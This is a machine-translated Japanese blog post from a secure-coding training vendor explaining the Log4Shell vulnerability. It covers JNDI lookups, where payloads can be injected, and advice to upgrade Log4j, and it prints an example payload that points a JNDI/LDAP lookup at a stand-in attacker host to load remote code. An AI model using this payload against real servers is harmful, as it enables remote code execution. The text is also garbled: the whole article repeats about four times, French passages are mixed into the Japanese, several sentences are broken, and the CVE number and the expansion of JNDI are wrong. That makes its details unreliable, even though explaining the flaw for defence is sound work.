
Log4j脆弱性の解説 - 攻撃ベクトルとその防止策
12月9日、Java Log4jライブラリにおける0day脆弱性が公表された。CVE-44228(コード名:Log 4 Shell)は「深刻度高」と評価されました。この脆弱性を悪用すると、リモートコード実行(RCE)が可能となるためです。さらに、log4j-coreは最も広く使用されているJavaログライブラリの一つであり、数百万のアプリケーションが危険に晒されています。
Log4Shellに挑戦して、素早くスキルを向上させたいですか?
私たちは、Log4Shellの基本概念から、Missionと呼ばれるシミュレーター内でのこの脆弱性の悪用手法の発見に至るまでの体験を提供するショーケースを作成しました。このミッションを通じて、Log4jの脆弱性がインフラストラクチャやアプリケーションにどのような影響を与え得るかを説明します。ショーケースに直接アクセスするにはこちらをクリック、またはこの脆弱性についてさらに詳しく知るために読み進めてください。
古いニュース?
この脆弱性は新しいものではない。セキュリティ研究者であるAlvaro MuñozとOleksandr Miroshは、2016年のBlackHatカンファレンスにおいて既に「アプリケーションは信頼できないデータでJNDI検索を行ってはならない」と指摘し、標的型JNDI/LDAPインジェクションがリモートコード実行につながる可能性を実証していた。 そして、まさにこれがLog4Shellの核心である。
攻撃ベクトル
Log4Shellの有用なインジェクションチャージは次のようになります:
$ {jndi:ldap : //attacker.host/xyz}
Pour comprendre cela, nous devons connaître le langage d'expression Java (EL). Expressions écrites dans la syntaxe suivante : $ {expr} sera évalué lors de l'exécution. Par exemple, $ {java:version} renverra la version Java utilisée.
次に、JNDI(Java Directory and Directory Interface)があります。これは、LDAP、DNS、RMIなどのプロトコルを使用してサービスに接続し、データやリソースを取得するためのAPIです。簡単に言えば、上記の悪意のあるペイロードの例では、JNDIが攻撃者が制御するLDAPサーバーに対して検索を実行します。 その応答は、例えば悪意のあるコードを含むJavaクラスファイルを指し示す可能性があり、それが脆弱なサーバー上で実行されることになります。
この脆弱性が特に問題となる理由は、Log4jがすべてのログエントリを評価し、ユーザー入力として記録されたEL構文のエントリを「jndi」プレフィックスで検索するためです。 ペイロードは、ユーザーがデータを入力できるあらゆる場所(例:フォームフィールド)に注入可能です。さらに、UserAgentやX-Forwarded-ForなどのHTTPヘッダーやその他のヘッダーをカスタマイズしてペイロードを運搬することもできます。
この成果をぜひご自身でご覧ください。当社のショーケースにアクセスし、ステップ2「体験のインパクト」に進んでください。
予防:意識
すべてのアプリケーションにおいて、Log4jが脆弱なコードを修正したため、アップグレードが推奨されます。ただし、バージョン2.15.0および2.16.0にはDDoS攻撃やその他の脆弱性が含まれていたため、12月末以降はバージョン2.17.0への移行が推奨されます。
コードを書く開発者として、私たちは常にセキュリティを考慮しなければなりません。Log4Shellは、サードパーティのフレームワークやライブラリの使用にはリスクが伴うことを教えてくれました。私たちは、無邪気に安全だと仮定している外部ソースの使用によって、アプリケーションのセキュリティが損なわれる可能性があることを認識する必要があります。
この脆弱性は回避できたでしょうか?はい、そしていいえ。一方で、開発者は脆弱なコンポーネントがサードパーティ製ソフトウェアを介して導入されるため、何もできません。他方で、ここから得られる教訓は、何度も繰り返されてきた教訓、つまりユーザー入力を決して信頼してはならないというものです。
Secure Code Warrior 、セキュリティ意識の高い開発者がコード内の脆弱性発生を防ぐ最善策であるSecure Code Warrior 。 SCWがプログラミングフレームワークに特化した大規模トレーニングを提供したため、顧客企業はレポートデータを活用して対象となるJava開発者を迅速に特定できました。また、SCWが育成したセキュリティチャンピオンの支援を得て、Log4jのアップグレードを加速させました。
特にJava開発者向けに、Secure Code Warrior 無料のIntelliJプラグイン「Sensei Secure Code Warrior 。このルールベースのコード分析ツールは、コーディングガイドラインの適用や脆弱性の予防・修正に活用できます。独自のルールを作成するか、当社の既製レシピブックをご利用ください。レシピへの参加をお待ちしています。また、Log4Shell脆弱性を瞬時に特定・修正できるLog4jレシピブックのダウンロードもお忘れなく。
Log4Shellに対する防御スキルを向上させましょう
このブログ記事で学んだことを実践してみませんか?当社のデモ環境がお役に立ちます。プレゼンテーションの冒頭で脆弱性の概要を簡単に確認した後、シミュレートされた環境へ移動し、ガイド付き手順でエクスプロイトを試すことができます。


2021年12月、JavaライブラリLog4jに重大なセキュリティ脆弱性Log4Shellが発見されました。本記事では、Log4Shell脆弱性を最も簡潔に解説し、その基礎を理解していただくとともに、あるミッションをご紹介します:この脆弱性の知識を活用し、模擬ウェブサイトを攻撃する実践の場です。

Secure Code Warrior ソフトウェア開発ライフサイクル全体を通じてコードのセキュリティを確保し、サイバーセキュリティを最優先事項とする文化を構築するために、組織をSecure Code Warrior 。アプリケーションセキュリティ担当者、開発者、情報セキュリティ責任者、その他セキュリティに関わるあらゆる方々のために、当社は組織が非セキュアなコードに関連するリスクを軽減するお手伝いをいたします。
デモを予約するLaura Verheyde est une développeuse de logiciels chez Secure Code Warrior qui se concentre sur la recherche de vulnérabilités et la création de contenu pour les missions et les laboratoires de codage.


12月9日、Java Log4jライブラリにおける0day脆弱性が公表された。CVE-44228(コード名:Log 4 Shell)は「深刻度高」と評価されました。この脆弱性を悪用すると、リモートコード実行(RCE)が可能となるためです。さらに、log4j-coreは最も広く使用されているJavaログライブラリの一つであり、数百万のアプリケーションが危険に晒されています。
Log4Shellに挑戦して、素早くスキルを向上させたいですか?
私たちは、Log4Shellの基本概念から、Missionと呼ばれるシミュレーター内でのこの脆弱性の悪用手法の発見に至るまでの体験を提供するショーケースを作成しました。このミッションを通じて、Log4jの脆弱性がインフラストラクチャやアプリケーションにどのような影響を与え得るかを説明します。ショーケースに直接アクセスするにはこちらをクリック、またはこの脆弱性についてさらに詳しく知るために読み進めてください。
古いニュース?
この脆弱性は新しいものではない。セキュリティ研究者であるAlvaro MuñozとOleksandr Miroshは、2016年のBlackHatカンファレンスにおいて既に「アプリケーションは信頼できないデータでJNDI検索を行ってはならない」と指摘し、標的型JNDI/LDAPインジェクションがリモートコード実行につながる可能性を実証していた。 そして、まさにこれがLog4Shellの核心である。
攻撃ベクトル
Log4Shellの有用なインジェクションチャージは次のようになります:
$ {jndi:ldap : //attacker.host/xyz}
Pour comprendre cela, nous devons connaître le langage d'expression Java (EL). Expressions écrites dans la syntaxe suivante : $ {expr} sera évalué lors de l'exécution. Par exemple, $ {java:version} renverra la version Java utilisée.
次に、JNDI(Java Directory and Directory Interface)があります。これは、LDAP、DNS、RMIなどのプロトコルを使用してサービスに接続し、データやリソースを取得するためのAPIです。簡単に言えば、上記の悪意のあるペイロードの例では、JNDIが攻撃者が制御するLDAPサーバーに対して検索を実行します。 その応答は、例えば悪意のあるコードを含むJavaクラスファイルを指し示す可能性があり、それが脆弱なサーバー上で実行されることになります。
この脆弱性が特に問題となる理由は、Log4jがすべてのログエントリを評価し、ユーザー入力として記録されたEL構文のエントリを「jndi」プレフィックスで検索するためです。 ペイロードは、ユーザーがデータを入力できるあらゆる場所(例:フォームフィールド)に注入可能です。さらに、UserAgentやX-Forwarded-ForなどのHTTPヘッダーやその他のヘッダーをカスタマイズしてペイロードを運搬することもできます。
この成果をぜひご自身でご覧ください。当社のショーケースにアクセスし、ステップ2「体験のインパクト」に進んでください。
予防:意識
すべてのアプリケーションにおいて、Log4jが脆弱なコードを修正したため、アップグレードが推奨されます。ただし、バージョン2.15.0および2.16.0にはDDoS攻撃やその他の脆弱性が含まれていたため、12月末以降はバージョン2.17.0への移行が推奨されます。
コードを書く開発者として、私たちは常にセキュリティを考慮しなければなりません。Log4Shellは、サードパーティのフレームワークやライブラリの使用にはリスクが伴うことを教えてくれました。私たちは、無邪気に安全だと仮定している外部ソースの使用によって、アプリケーションのセキュリティが損なわれる可能性があることを認識する必要があります。
この脆弱性は回避できたでしょうか?はい、そしていいえ。一方で、開発者は脆弱なコンポーネントがサードパーティ製ソフトウェアを介して導入されるため、何もできません。他方で、ここから得られる教訓は、何度も繰り返されてきた教訓、つまりユーザー入力を決して信頼してはならないというものです。
Secure Code Warrior 、セキュリティ意識の高い開発者がコード内の脆弱性発生を防ぐ最善策であるSecure Code Warrior 。 SCWがプログラミングフレームワークに特化した大規模トレーニングを提供したため、顧客企業はレポートデータを活用して対象となるJava開発者を迅速に特定できました。また、SCWが育成したセキュリティチャンピオンの支援を得て、Log4jのアップグレードを加速させました。
特にJava開発者向けに、Secure Code Warrior 無料のIntelliJプラグイン「Sensei Secure Code Warrior 。このルールベースのコード分析ツールは、コーディングガイドラインの適用や脆弱性の予防・修正に活用できます。独自のルールを作成するか、当社の既製レシピブックをご利用ください。レシピへの参加をお待ちしています。また、Log4Shell脆弱性を瞬時に特定・修正できるLog4jレシピブックのダウンロードもお忘れなく。
Log4Shellに対する防御スキルを向上させましょう
このブログ記事で学んだことを実践してみませんか?当社のデモ環境がお役に立ちます。プレゼンテーションの冒頭で脆弱性の概要を簡単に確認した後、シミュレートされた環境へ移動し、ガイド付き手順でエクスプロイトを試すことができます。

12月9日、Java Log4jライブラリにおける0day脆弱性が公表された。CVE-44228(コード名:Log 4 Shell)は「深刻度高」と評価されました。この脆弱性を悪用すると、リモートコード実行(RCE)が可能となるためです。さらに、log4j-coreは最も広く使用されているJavaログライブラリの一つであり、数百万のアプリケーションが危険に晒されています。
Log4Shellに挑戦して、素早くスキルを向上させたいですか?
私たちは、Log4Shellの基本概念から、Missionと呼ばれるシミュレーター内でのこの脆弱性の悪用手法の発見に至るまでの体験を提供するショーケースを作成しました。このミッションを通じて、Log4jの脆弱性がインフラストラクチャやアプリケーションにどのような影響を与え得るかを説明します。ショーケースに直接アクセスするにはこちらをクリック、またはこの脆弱性についてさらに詳しく知るために読み進めてください。
古いニュース?
この脆弱性は新しいものではない。セキュリティ研究者であるAlvaro MuñozとOleksandr Miroshは、2016年のBlackHatカンファレンスにおいて既に「アプリケーションは信頼できないデータでJNDI検索を行ってはならない」と指摘し、標的型JNDI/LDAPインジェクションがリモートコード実行につながる可能性を実証していた。 そして、まさにこれがLog4Shellの核心である。
攻撃ベクトル
Log4Shellの有用なインジェクションチャージは次のようになります:
$ {jndi:ldap : //attacker.host/xyz}
Pour comprendre cela, nous devons connaître le langage d'expression Java (EL). Expressions écrites dans la syntaxe suivante : $ {expr} sera évalué lors de l'exécution. Par exemple, $ {java:version} renverra la version Java utilisée.
次に、JNDI(Java Directory and Directory Interface)があります。これは、LDAP、DNS、RMIなどのプロトコルを使用してサービスに接続し、データやリソースを取得するためのAPIです。簡単に言えば、上記の悪意のあるペイロードの例では、JNDIが攻撃者が制御するLDAPサーバーに対して検索を実行します。 その応答は、例えば悪意のあるコードを含むJavaクラスファイルを指し示す可能性があり、それが脆弱なサーバー上で実行されることになります。
この脆弱性が特に問題となる理由は、Log4jがすべてのログエントリを評価し、ユーザー入力として記録されたEL構文のエントリを「jndi」プレフィックスで検索するためです。 ペイロードは、ユーザーがデータを入力できるあらゆる場所(例:フォームフィールド)に注入可能です。さらに、UserAgentやX-Forwarded-ForなどのHTTPヘッダーやその他のヘッダーをカスタマイズしてペイロードを運搬することもできます。
この成果をぜひご自身でご覧ください。当社のショーケースにアクセスし、ステップ2「体験のインパクト」に進んでください。
予防:意識
すべてのアプリケーションにおいて、Log4jが脆弱なコードを修正したため、アップグレードが推奨されます。ただし、バージョン2.15.0および2.16.0にはDDoS攻撃やその他の脆弱性が含まれていたため、12月末以降はバージョン2.17.0への移行が推奨されます。
コードを書く開発者として、私たちは常にセキュリティを考慮しなければなりません。Log4Shellは、サードパーティのフレームワークやライブラリの使用にはリスクが伴うことを教えてくれました。私たちは、無邪気に安全だと仮定している外部ソースの使用によって、アプリケーションのセキュリティが損なわれる可能性があることを認識する必要があります。
この脆弱性は回避できたでしょうか?はい、そしていいえ。一方で、開発者は脆弱なコンポーネントがサードパーティ製ソフトウェアを介して導入されるため、何もできません。他方で、ここから得られる教訓は、何度も繰り返されてきた教訓、つまりユーザー入力を決して信頼してはならないというものです。
Secure Code Warrior 、セキュリティ意識の高い開発者がコード内の脆弱性発生を防ぐ最善策であるSecure Code Warrior 。 SCWがプログラミングフレームワークに特化した大規模トレーニングを提供したため、顧客企業はレポートデータを活用して対象となるJava開発者を迅速に特定できました。また、SCWが育成したセキュリティチャンピオンの支援を得て、Log4jのアップグレードを加速させました。
特にJava開発者向けに、Secure Code Warrior 無料のIntelliJプラグイン「Sensei Secure Code Warrior 。このルールベースのコード分析ツールは、コーディングガイドラインの適用や脆弱性の予防・修正に活用できます。独自のルールを作成するか、当社の既製レシピブックをご利用ください。レシピへの参加をお待ちしています。また、Log4Shell脆弱性を瞬時に特定・修正できるLog4jレシピブックのダウンロードもお忘れなく。
Log4Shellに対する防御スキルを向上させましょう
このブログ記事で学んだことを実践してみませんか?当社のデモ環境がお役に立ちます。プレゼンテーションの冒頭で脆弱性の概要を簡単に確認した後、シミュレートされた環境へ移動し、ガイド付き手順でエクスプロイトを試すことができます。

以下のリンクをクリックして、このリソースのPDFをダウンロードしてください。
Secure Code Warrior ソフトウェア開発ライフサイクル全体を通じてコードのセキュリティを確保し、サイバーセキュリティを最優先事項とする文化を構築するために、組織をSecure Code Warrior 。アプリケーションセキュリティ担当者、開発者、情報セキュリティ責任者、その他セキュリティに関わるあらゆる方々のために、当社は組織が非セキュアなコードに関連するリスクを軽減するお手伝いをいたします。
レポートを表示するデモを予約するLaura Verheyde est une développeuse de logiciels chez Secure Code Warrior qui se concentre sur la recherche de vulnérabilités et la création de contenu pour les missions et les laboratoires de codage.
12月9日、Java Log4jライブラリにおける0day脆弱性が公表された。CVE-44228(コード名:Log 4 Shell)は「深刻度高」と評価されました。この脆弱性を悪用すると、リモートコード実行(RCE)が可能となるためです。さらに、log4j-coreは最も広く使用されているJavaログライブラリの一つであり、数百万のアプリケーションが危険に晒されています。
Log4Shellに挑戦して、素早くスキルを向上させたいですか?
私たちは、Log4Shellの基本概念から、Missionと呼ばれるシミュレーター内でのこの脆弱性の悪用手法の発見に至るまでの体験を提供するショーケースを作成しました。このミッションを通じて、Log4jの脆弱性がインフラストラクチャやアプリケーションにどのような影響を与え得るかを説明します。ショーケースに直接アクセスするにはこちらをクリック、またはこの脆弱性についてさらに詳しく知るために読み進めてください。
古いニュース?
この脆弱性は新しいものではない。セキュリティ研究者であるAlvaro MuñozとOleksandr Miroshは、2016年のBlackHatカンファレンスにおいて既に「アプリケーションは信頼できないデータでJNDI検索を行ってはならない」と指摘し、標的型JNDI/LDAPインジェクションがリモートコード実行につながる可能性を実証していた。 そして、まさにこれがLog4Shellの核心である。
攻撃ベクトル
Log4Shellの有用なインジェクションチャージは次のようになります:
$ {jndi:ldap : //attacker.host/xyz}
Pour comprendre cela, nous devons connaître le langage d'expression Java (EL). Expressions écrites dans la syntaxe suivante : $ {expr} sera évalué lors de l'exécution. Par exemple, $ {java:version} renverra la version Java utilisée.
次に、JNDI(Java Directory and Directory Interface)があります。これは、LDAP、DNS、RMIなどのプロトコルを使用してサービスに接続し、データやリソースを取得するためのAPIです。簡単に言えば、上記の悪意のあるペイロードの例では、JNDIが攻撃者が制御するLDAPサーバーに対して検索を実行します。 その応答は、例えば悪意のあるコードを含むJavaクラスファイルを指し示す可能性があり、それが脆弱なサーバー上で実行されることになります。
この脆弱性が特に問題となる理由は、Log4jがすべてのログエントリを評価し、ユーザー入力として記録されたEL構文のエントリを「jndi」プレフィックスで検索するためです。 ペイロードは、ユーザーがデータを入力できるあらゆる場所(例:フォームフィールド)に注入可能です。さらに、UserAgentやX-Forwarded-ForなどのHTTPヘッダーやその他のヘッダーをカスタマイズしてペイロードを運搬することもできます。
この成果をぜひご自身でご覧ください。当社のショーケースにアクセスし、ステップ2「体験のインパクト」に進んでください。
予防:意識
すべてのアプリケーションにおいて、Log4jが脆弱なコードを修正したため、アップグレードが推奨されます。ただし、バージョン2.15.0および2.16.0にはDDoS攻撃やその他の脆弱性が含まれていたため、12月末以降はバージョン2.17.0への移行が推奨されます。
コードを書く開発者として、私たちは常にセキュリティを考慮しなければなりません。Log4Shellは、サードパーティのフレームワークやライブラリの使用にはリスクが伴うことを教えてくれました。私たちは、無邪気に安全だと仮定している外部ソースの使用によって、アプリケーションのセキュリティが損なわれる可能性があることを認識する必要があります。
この脆弱性は回避できたでしょうか?はい、そしていいえ。一方で、開発者は脆弱なコンポーネントがサードパーティ製ソフトウェアを介して導入されるため、何もできません。他方で、ここから得られる教訓は、何度も繰り返されてきた教訓、つまりユーザー入力を決して信頼してはならないというものです。
Secure Code Warrior 、セキュリティ意識の高い開発者がコード内の脆弱性発生を防ぐ最善策であるSecure Code Warrior 。 SCWがプログラミングフレームワークに特化した大規模トレーニングを提供したため、顧客企業はレポートデータを活用して対象となるJava開発者を迅速に特定できました。また、SCWが育成したセキュリティチャンピオンの支援を得て、Log4jのアップグレードを加速させました。
特にJava開発者向けに、Secure Code Warrior 無料のIntelliJプラグイン「Sensei Secure Code Warrior 。このルールベースのコード分析ツールは、コーディングガイドラインの適用や脆弱性の予防・修正に活用できます。独自のルールを作成するか、当社の既製レシピブックをご利用ください。レシピへの参加をお待ちしています。また、Log4Shell脆弱性を瞬時に特定・修正できるLog4jレシピブックのダウンロードもお忘れなく。
Log4Shellに対する防御スキルを向上させましょう
このブログ記事で学んだことを実践してみませんか?当社のデモ環境がお役に立ちます。プレゼンテーションの冒頭で脆弱性の概要を簡単に確認した後、シミュレートされた環境へ移動し、ガイド付き手順でエクスプロイトを試すことができます。




%20(1).avif)
.avif)
